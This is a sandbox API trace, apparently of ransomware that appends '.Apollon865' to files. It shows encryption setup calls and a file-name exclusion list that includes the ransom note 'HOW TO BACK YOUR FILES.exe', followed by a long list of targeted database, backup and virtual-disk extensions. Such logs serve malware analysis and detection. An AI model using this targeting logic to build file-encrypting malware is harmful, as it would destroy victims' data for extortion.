	[0082.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.873] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=49504) returned 1
	[0082.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.873] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.873] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.874] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.874] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.874] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc460, lpName=0x0) returned 0x15c
	[0082.876] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc460) returned 0x100000
	[0082.879] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.880] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.880] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.881] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.881] CloseHandle (hObject=0x15c) returned 1
	[0082.881] CloseHandle (hObject=0x9c) returned 1
	[0082.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.882] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="..") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="perflogs") returned -1
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.882] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0082.882] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned 72
	[0082.882] lstrcpyW (in: lpString1=0x119e670, lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll"
	[0082.882] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0082.882] lstrlenW (lpString="Apollon865") returned 10
	[0082.882] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.882] lstrlenW (lpString=".dll") returned 4
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.882] lstrlenW (lpString=".lnk") returned 4
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.882] lstrlenW (lpString=".ini") returned 4
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.882] lstrlenW (lpString=".sys") returned 4
	[0082.882] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.882] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0082.882] lstrlenW (lpString="bak") returned 3
	[0082.882] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.883] lstrlenW (lpString="ba_") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.883] lstrlenW (lpString="dbb") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.883] lstrlenW (lpString="vmdk") returned 4
	[0082.883] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.883] lstrlenW (lpString="rar") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.883] lstrlenW (lpString="zip") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.883] lstrlenW (lpString="tgz") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.883] lstrlenW (lpString="vbox") returned 4
	[0082.883] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.883] lstrlenW (lpString="vdi") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.883] lstrlenW (lpString="vhd") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.883] lstrlenW (lpString="vhdx") returned 4
	[0082.883] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.883] lstrlenW (lpString="avhd") returned 4
	[0082.883] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.883] lstrlenW (lpString="db") returned 2
	[0082.883] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.883] lstrlenW (lpString="db2") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.883] lstrlenW (lpString="db3") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.883] lstrlenW (lpString="dbf") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.883] lstrlenW (lpString="mdf") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.883] lstrlenW (lpString="mdb") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.883] lstrlenW (lpString="sql") returned 3
	[0082.883] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.883] lstrlenW (lpString="sqlite") returned 6
	[0082.883] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.883] lstrlenW (lpString="sqlite3") returned 7
	[0082.884] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.884] lstrlenW (lpString="sqlitedb") returned 8
	[0082.884] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.884] lstrlenW (lpString="xml") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.884] lstrlenW (lpString="$er") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.884] lstrlenW (lpString="4dd") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.884] lstrlenW (lpString="4dl") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.884] lstrlenW (lpString="^^^") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.884] lstrlenW (lpString="abs") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.884] lstrlenW (lpString="abx") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.884] lstrlenW (lpString="accdb") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.884] lstrlenW (lpString="accdc") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.884] lstrlenW (lpString="accde") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.884] lstrlenW (lpString="accdr") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.884] lstrlenW (lpString="accdt") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.884] lstrlenW (lpString="accdw") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.884] lstrlenW (lpString="accft") returned 5
	[0082.884] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.884] lstrlenW (lpString="adb") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.884] lstrlenW (lpString="adb") returned 3
	[0082.884] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.885] lstrlenW (lpString="ade") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.885] lstrlenW (lpString="adf") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.885] lstrlenW (lpString="adn") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.885] lstrlenW (lpString="adp") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.885] lstrlenW (lpString="alf") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.885] lstrlenW (lpString="ask") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.885] lstrlenW (lpString="btr") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.885] lstrlenW (lpString="cat") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.885] lstrlenW (lpString="cdb") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.885] lstrlenW (lpString="ckp") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.885] lstrlenW (lpString="cma") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.885] lstrlenW (lpString="cpd") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.885] lstrlenW (lpString="dacpac") returned 6
	[0082.885] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.885] lstrlenW (lpString="dad") returned 3
	[0082.885] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.885] lstrlenW (lpString="dadiagrams") returned 10
	[0082.885] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.885] lstrlenW (lpString="daschema") returned 8
	[0082.885] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.885] lstrlenW (lpString="db-journal") returned 10
	[0082.885] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.885] lstrlenW (lpString="db-shm") returned 6
	[0082.885] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.886] lstrlenW (lpString="db-wal") returned 6
	[0082.886] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.886] lstrlenW (lpString="dbc") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.886] lstrlenW (lpString="dbs") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.886] lstrlenW (lpString="dbt") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.886] lstrlenW (lpString="dbv") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.886] lstrlenW (lpString="dbx") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.886] lstrlenW (lpString="dcb") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.886] lstrlenW (lpString="dct") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.886] lstrlenW (lpString="dcx") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.886] lstrlenW (lpString="ddl") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.886] lstrlenW (lpString="dlis") returned 4
	[0082.886] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.886] lstrlenW (lpString="dp1") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.886] lstrlenW (lpString="dqy") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.886] lstrlenW (lpString="dsk") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.886] lstrlenW (lpString="dsn") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.886] lstrlenW (lpString="dtsx") returned 4
	[0082.886] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.886] lstrlenW (lpString="dxl") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.886] lstrlenW (lpString="eco") returned 3
	[0082.886] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.886] lstrlenW (lpString="ecx") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.887] lstrlenW (lpString="edb") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.887] lstrlenW (lpString="epim") returned 4
	[0082.887] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.887] lstrlenW (lpString="fcd") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.887] lstrlenW (lpString="fdb") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.887] lstrlenW (lpString="fic") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.887] lstrlenW (lpString="flexolibrary") returned 12
	[0082.887] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.887] lstrlenW (lpString="fm5") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.887] lstrlenW (lpString="fmp") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.887] lstrlenW (lpString="fmp12") returned 5
	[0082.887] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.887] lstrlenW (lpString="fmpsl") returned 5
	[0082.887] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.887] lstrlenW (lpString="fol") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.887] lstrlenW (lpString="fp3") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.887] lstrlenW (lpString="fp4") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.887] lstrlenW (lpString="fp5") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.887] lstrlenW (lpString="fp7") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.887] lstrlenW (lpString="fpt") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.887] lstrlenW (lpString="frm") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.887] lstrlenW (lpString="gdb") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.887] lstrlenW (lpString="gdb") returned 3
	[0082.887] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.888] lstrlenW (lpString="grdb") returned 4
	[0082.888] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.888] lstrlenW (lpString="gwi") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.888] lstrlenW (lpString="hdb") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.888] lstrlenW (lpString="his") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.888] lstrlenW (lpString="ib") returned 2
	[0082.888] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.888] lstrlenW (lpString="idb") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.888] lstrlenW (lpString="ihx") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.888] lstrlenW (lpString="itdb") returned 4
	[0082.888] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.888] lstrlenW (lpString="itw") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.888] lstrlenW (lpString="jet") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.888] lstrlenW (lpString="jtx") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.888] lstrlenW (lpString="kdb") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.888] lstrlenW (lpString="kexi") returned 4
	[0082.888] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.888] lstrlenW (lpString="kexic") returned 5
	[0082.888] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.888] lstrlenW (lpString="kexis") returned 5
	[0082.888] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.888] lstrlenW (lpString="lgc") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.888] lstrlenW (lpString="lwx") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.888] lstrlenW (lpString="maf") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.888] lstrlenW (lpString="maq") returned 3
	[0082.888] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.888] lstrlenW (lpString="mar") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.889] lstrlenW (lpString="marshal") returned 7
	[0082.889] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.889] lstrlenW (lpString="mas") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.889] lstrlenW (lpString="mav") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.889] lstrlenW (lpString="maw") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.889] lstrlenW (lpString="mdbhtml") returned 7
	[0082.889] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.889] lstrlenW (lpString="mdn") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.889] lstrlenW (lpString="mdt") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.889] lstrlenW (lpString="mfd") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.889] lstrlenW (lpString="mpd") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.889] lstrlenW (lpString="mrg") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.889] lstrlenW (lpString="mud") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.889] lstrlenW (lpString="mwb") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.889] lstrlenW (lpString="myd") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.889] lstrlenW (lpString="ndf") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.889] lstrlenW (lpString="nnt") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.889] lstrlenW (lpString="nrmlib") returned 6
	[0082.889] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.889] lstrlenW (lpString="ns2") returned 3
	[0082.889] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.889] lstrlenW (lpString="ns3") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.890] lstrlenW (lpString="ns4") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.890] lstrlenW (lpString="nsf") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.890] lstrlenW (lpString="nv") returned 2
	[0082.890] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.890] lstrlenW (lpString="nv2") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.890] lstrlenW (lpString="nwdb") returned 4
	[0082.890] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.890] lstrlenW (lpString="nyf") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.890] lstrlenW (lpString="odb") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.890] lstrlenW (lpString="odb") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.890] lstrlenW (lpString="oqy") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.890] lstrlenW (lpString="ora") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.890] lstrlenW (lpString="orx") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.890] lstrlenW (lpString="owc") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.890] lstrlenW (lpString="p96") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.890] lstrlenW (lpString="p97") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.890] lstrlenW (lpString="pan") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.890] lstrlenW (lpString="pdb") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.890] lstrlenW (lpString="pdm") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.890] lstrlenW (lpString="pnz") returned 3
	[0082.890] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.891] lstrlenW (lpString="qry") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.891] lstrlenW (lpString="qvd") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.891] lstrlenW (lpString="rbf") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.891] lstrlenW (lpString="rctd") returned 4
	[0082.891] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.891] lstrlenW (lpString="rod") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.891] lstrlenW (lpString="rodx") returned 4
	[0082.891] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.891] lstrlenW (lpString="rpd") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.891] lstrlenW (lpString="rsd") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.891] lstrlenW (lpString="sas7bdat") returned 8
	[0082.891] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.891] lstrlenW (lpString="sbf") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.891] lstrlenW (lpString="scx") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.891] lstrlenW (lpString="sdb") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.891] lstrlenW (lpString="sdc") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.891] lstrlenW (lpString="sdf") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.891] lstrlenW (lpString="sis") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.891] lstrlenW (lpString="spq") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.891] lstrlenW (lpString="te") returned 2
	[0082.891] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.891] lstrlenW (lpString="teacher") returned 7
	[0082.891] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.891] lstrlenW (lpString="tmd") returned 3
	[0082.891] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.892] lstrlenW (lpString="tps") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.892] lstrlenW (lpString="trc") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.892] lstrlenW (lpString="trc") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.892] lstrlenW (lpString="trm") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
